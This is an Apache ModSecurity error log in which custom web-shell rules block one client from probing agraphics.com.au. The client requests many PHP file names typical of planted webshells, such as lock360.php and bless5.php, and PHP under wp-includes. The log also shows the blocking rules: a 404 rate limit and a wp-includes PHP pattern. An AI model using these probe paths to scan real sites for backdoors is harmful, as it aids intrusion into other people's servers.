[Sat Jan 10 04:50:34.441451 2026] [:error] [pid 20648:tid 20731] [client 65.52.163.14:1835] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bless5.php"] [unique_id "aWFqGjBnnIoBkEBdx9D2NwAAAJY"]
[Sat Jan 10 04:50:34.685293 2026] [:error] [pid 20744:tid 20770] [client 65.52.163.14:1931] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bless5.php"] [unique_id "aWFqGkA8oR5jvkFpcP9SlAAAAM0"]
[Sat Jan 10 04:50:34.934622 2026] [:error] [pid 20648:tid 20716] [client 65.52.163.14:1889] [client 65.52.163.14] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/codemirror/index.php"] [unique_id "aWFqGjBnnIoBkEBdx9D2OAAAAIc"]
[Sat Jan 10 04:50:35.213530 2026] [:error] [pid 20647:tid 20705] [client 65.52.163.14:1826] [client 65.52.163.14] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/block-patterns/index.php"] [unique_id "aWFqG6vb0x69MarUHzCXXAAAAFc"]
[Sat Jan 10 04:50:35.525744 2026] [:error] [pid 20646:tid 20657] [client 65.52.163.14:1961] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lock360.php"] [unique_id "aWFqGyKwdq_UhOM64b6djAAAAAI"]
[Sat Jan 10 04:50:35.804379 2026] [:error] [pid 20647:tid 20692] [client 65.52.163.14:1800] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lock360.php"] [unique_id "aWFqG6vb0x69MarUHzCXXQAAAEo"]
[Sat Jan 10 04:50:36.083610 2026] [:error] [pid 20647:tid 20688] [client 65.52.163.14:1912] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lock360.php"] [unique_id "aWFqHKvb0x69MarUHzCXXgAAAEY"]
[Sat Jan 10 04:50:36.358853 2026] [:error] [pid 20646:tid 20670] [client 65.52.163.14:1952] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lock360.php"] [unique_id "aWFqHCKwdq_UhOM64b6djgAAAA8"]
[Sat Jan 10 04:50:36.606833 2026] [:error] [pid 20744:tid 20768] [client 65.52.163.14:1763] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/f35.php"] [unique_id "aWFqHEA8oR5jvkFpcP9SlQAAAMs"]
[Sat Jan 10 04:50:36.870210 2026] [:error] [pid 20744:tid 20757] [client 65.52.163.14:1843] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/f35.php"] [unique_id "aWFqHEA8oR5jvkFpcP9SlgAAAMA"]
[Sat Jan 10 04:50:37.153120 2026] [:error] [pid 20646:tid 20678] [client 65.52.163.14:1894] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/f35.php"] [unique_id "aWFqHSKwdq_UhOM64b6djwAAABc"]
[Sat Jan 10 04:50:37.420564 2026] [:error] [pid 20648:tid 20733] [client 65.52.163.14:1946] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/f35.php"] [unique_id "aWFqHTBnnIoBkEBdx9D2RAAAAJg"]
[Sat Jan 10 04:50:37.706652 2026] [:error] [pid 20648:tid 20711] [client 65.52.163.14:1887] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ioxi-o1.php"] [unique_id "aWFqHTBnnIoBkEBdx9D2RQAAAII"]
[Sat Jan 10 04:50:38.005751 2026] [:error] [pid 20647:tid 20685] [client 65.52.163.14:1919] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ioxi-o1.php"] [unique_id "aWFqHqvb0x69MarUHzCXXwAAAEM"]
[Sat Jan 10 04:50:38.302686 2026] [:error] [pid 20647:tid 20696] [client 65.52.163.14:1855] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ioxi-o1.php"] [unique_id "aWFqHqvb0x69MarUHzCXYgAAAE4"]
[Sat Jan 10 04:50:38.557422 2026] [:error] [pid 20647:tid 20693] [client 65.52.163.14:1829] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ioxi-o1.php"] [unique_id "aWFqHqvb0x69MarUHzCXYwAAAEs"]
[Sat Jan 10 04:50:38.882195 2026] [:error] [pid 20648:tid 20712] [client 65.52.163.14:1876] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/juuuu.php"] [unique_id "aWFqHjBnnIoBkEBdx9D2RgAAAIM"]
[Sat Jan 10 04:50:39.183995 2026] [:error] [pid 20648:tid 20725] [client 65.52.163.14:1807] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/juuuu.php"] [unique_id "aWFqHzBnnIoBkEBdx9D2RwAAAJA"]
[Sat Jan 10 04:50:39.443178 2026] [:error] [pid 20744:tid 20780] [client 65.52.163.14:1978] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/juuuu.php"] [unique_id "aWFqH0A8oR5jvkFpcP9SmAAAANc"]
[Sat Jan 10 04:50:39.693652 2026] [:error] [pid 20648:tid 20710] [client 65.52.163.14:1885] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/juuuu.php"] [unique_id "aWFqHzBnnIoBkEBdx9D2SgAAAIE"]
[Sat Jan 10 04:50:39.932333 2026] [:error] [pid 20648:tid 20727] [client 65.52.163.14:2021] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ha.php"] [unique_id "aWFqHzBnnIoBkEBdx9D2SwAAAJI"]
[Sat Jan 10 04:50:40.203900 2026] [:error] [pid 20646:tid 20673] [client 65.52.163.14:1892] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ha.php"] [unique_id "aWFqICKwdq_UhOM64b6dkAAAABI"]
[Sat Jan 10 04:50:40.474914 2026] [:error] [pid 20646:tid 20667] [client 65.52.163.14:1868] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ha.php"] [unique_id "aWFqICKwdq_UhOM64b6dkQAAAAw"]
[Sat Jan 10 04:50:40.714628 2026] [:error] [pid 20646:tid 20665] [client 65.52.163.14:1971] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ha.php"] [unique_id "aWFqICKwdq_UhOM64b6dkgAAAAo"]
[Sat Jan 10 04:50:40.952718 2026] [:error] [pid 20744:tid 20774] [client 65.52.163.14:1744] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gg.php"] [unique_id "aWFqIEA8oR5jvkFpcP9SmQAAANE"]
[Sat Jan 10 04:50:41.283619 2026] [:error] [pid 20744:tid 20776] [client 65.52.163.14:1793] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gg.php"] [unique_id "aWFqIUA8oR5jvkFpcP9SmgAAANM"]
[Sat Jan 10 04:50:41.552398 2026] [:error] [pid 20744:tid 20761] [client 65.52.163.14:1818] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gg.php"] [unique_id "aWFqIUA8oR5jvkFpcP9SmwAAAMQ"]
[Sat Jan 10 04:50:41.876029 2026] [:error] [pid 20648:tid 20716] [client 65.52.163.14:1839] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gg.php"] [unique_id "aWFqITBnnIoBkEBdx9D2TgAAAIc"]
[Sat Jan 10 04:50:42.191960 2026] [:error] [pid 20647:tid 20706] [client 65.52.163.14:1891] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/we2.php"] [unique_id "aWFqIqvb0x69MarUHzCXZQAAAFg"]
[Sat Jan 10 04:50:42.445321 2026] [:error] [pid 20744:tid 20773] [client 65.52.163.14:1949] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/we2.php"] [unique_id "aWFqIkA8oR5jvkFpcP9SnQAAANA"]
[Sat Jan 10 04:50:42.737128 2026] [:error] [pid 20647:tid 20683] [client 65.52.163.14:1733] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/we2.php"] [unique_id "aWFqIqvb0x69MarUHzCXZgAAAEE"]
[Sat Jan 10 04:50:42.973309 2026] [:error] [pid 20646:tid 20659] [client 65.52.163.14:1917] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/we2.php"] [unique_id "aWFqIiKwdq_UhOM64b6dkwAAAAQ"]
[Sat Jan 10 04:50:43.290627 2026] [:error] [pid 20744:tid 20775] [client 65.52.163.14:1928] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/04.php"] [unique_id "aWFqI0A8oR5jvkFpcP9SnwAAANI"]
[Sat Jan 10 04:50:43.525625 2026] [:error] [pid 20648:tid 20715] [client 65.52.163.14:1914] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/04.php"] [unique_id "aWFqIzBnnIoBkEBdx9D2TwAAAIY"]
[Sat Jan 10 04:50:43.843256 2026] [:error] [pid 20744:tid 20781] [client 65.52.163.14:1906] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/04.php"] [unique_id "aWFqI0A8oR5jvkFpcP9SoAAAANg"]
[Sat Jan 10 04:50:44.092663 2026] [:error] [pid 20744:tid 20771] [client 65.52.163.14:1910] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/04.php"] [unique_id "aWFqJEA8oR5jvkFpcP9SogAAAM4"]
[Sat Jan 10 04:50:44.360018 2026] [:error] [pid 20744:tid 20778] [client 65.52.163.14:1846] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/333.php"] [unique_id "aWFqJEA8oR5jvkFpcP9SowAAANU"]
[Sat Jan 10 04:50:44.645174 2026] [:error] [pid 20744:tid 20769] [client 65.52.163.14:1753] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/333.php"] [unique_id "aWFqJEA8oR5jvkFpcP9SpAAAAMw"]
[Sat Jan 10 04:50:45.142911 2026] [:error] [pid 20648:tid 20726] [client 65.52.163.14:1806] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/333.php"] [unique_id "aWFqJTBnnIoBkEBdx9D2UwAAAJE"]
[Sat Jan 10 04:50:45.390389 2026] [:error] [pid 20646:tid 20672] [client 65.52.163.14:1778] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/333.php"] [unique_id "aWFqJSKwdq_UhOM64b6dlQAAABE"]
[Sat Jan 10 04:50:45.658225 2026] [:error] [pid 20744:tid 20766] [client 65.52.163.14:1812] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/520.php"] [unique_id "aWFqJUA8oR5jvkFpcP9SpQAAAMk"]
[Sat Jan 10 04:50:45.956860 2026] [:error] [pid 20648:tid 20719] [client 65.52.163.14:1759] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/520.php"] [unique_id "aWFqJTBnnIoBkEBdx9D2VAAAAIo"]
[Sat Jan 10 04:50:46.279742 2026] [:error] [pid 20647:tid 20689] [client 65.52.163.14:1866] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/520.php"] [unique_id "aWFqJqvb0x69MarUHzCXZwAAAEc"]
[Sat Jan 10 04:50:46.558234 2026] [:error] [pid 20744:tid 20759] [client 65.52.163.14:1811] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/520.php"] [unique_id "aWFqJkA8oR5jvkFpcP9SpwAAAMI"]
[Sat Jan 10 04:50:46.853919 2026] [:error] [pid 20744:tid 20779] [client 65.52.163.14:1817] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ar.php"] [unique_id "aWFqJkA8oR5jvkFpcP9SqAAAANY"]
[Sat Jan 10 04:50:47.128699 2026] [:error] [pid 20744:tid 20760] [client 65.52.163.14:1980] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ar.php"] [unique_id "aWFqJ0A8oR5jvkFpcP9SqQAAAMM"]
[Sat Jan 10 04:50:47.363909 2026] [:error] [pid 20744:tid 20768] [client 65.52.163.14:1918] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ar.php"] [unique_id "aWFqJ0A8oR5jvkFpcP9SqgAAAMs"]
[Sat Jan 10 04:50:47.624318 2026] [:error] [pid 20744:tid 20757] [client 65.52.163.14:1740] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ar.php"] [unique_id "aWFqJ0A8oR5jvkFpcP9SqwAAAMA"]
[Sat Jan 10 04:50:47.897466 2026] [:error] [pid 20744:tid 20767] [client 65.52.163.14:1881] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/x.php"] [unique_id "aWFqJ0A8oR5jvkFpcP9SrAAAAMo"]
[Sat Jan 10 04:50:48.258308 2026] [:error] [pid 20744:tid 20777] [client 65.52.163.14:1841] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/x.php"] [unique_id "aWFqKEA8oR5jvkFpcP9SrQAAANQ"]
[Sat Jan 10 04:50:48.499406 2026] [:error] [pid 20744:tid 20780] [client 65.52.163.14:1898] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/x.php"] [unique_id "aWFqKEA8oR5jvkFpcP9SrgAAANc"]
[Sat Jan 10 04:50:48.752800 2026] [:error] [pid 20744:tid 20774] [client 65.52.163.14:1900] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/x.php"] [unique_id "aWFqKEA8oR5jvkFpcP9SrwAAANE"]
[Sat Jan 10 04:50:49.007720 2026] [:error] [pid 20744:tid 20776] [client 65.52.163.14:1901] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xx.php"] [unique_id "aWFqKUA8oR5jvkFpcP9SsAAAANM"]
[Sat Jan 10 04:50:49.278988 2026] [:error] [pid 20648:tid 20711] [client 65.52.163.14:1908] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xx.php"] [unique_id "aWFqKTBnnIoBkEBdx9D2VQAAAII"]
[Sat Jan 10 04:50:49.517458 2026] [:error] [pid 20648:tid 20725] [client 65.52.163.14:1884] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xx.php"] [unique_id "aWFqKTBnnIoBkEBdx9D2VwAAAJA"]
[Sat Jan 10 04:50:49.766140 2026] [:error] [pid 20647:tid 20705] [client 65.52.163.14:1904] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xx.php"] [unique_id "aWFqKavb0x69MarUHzCXaAAAAFc"]
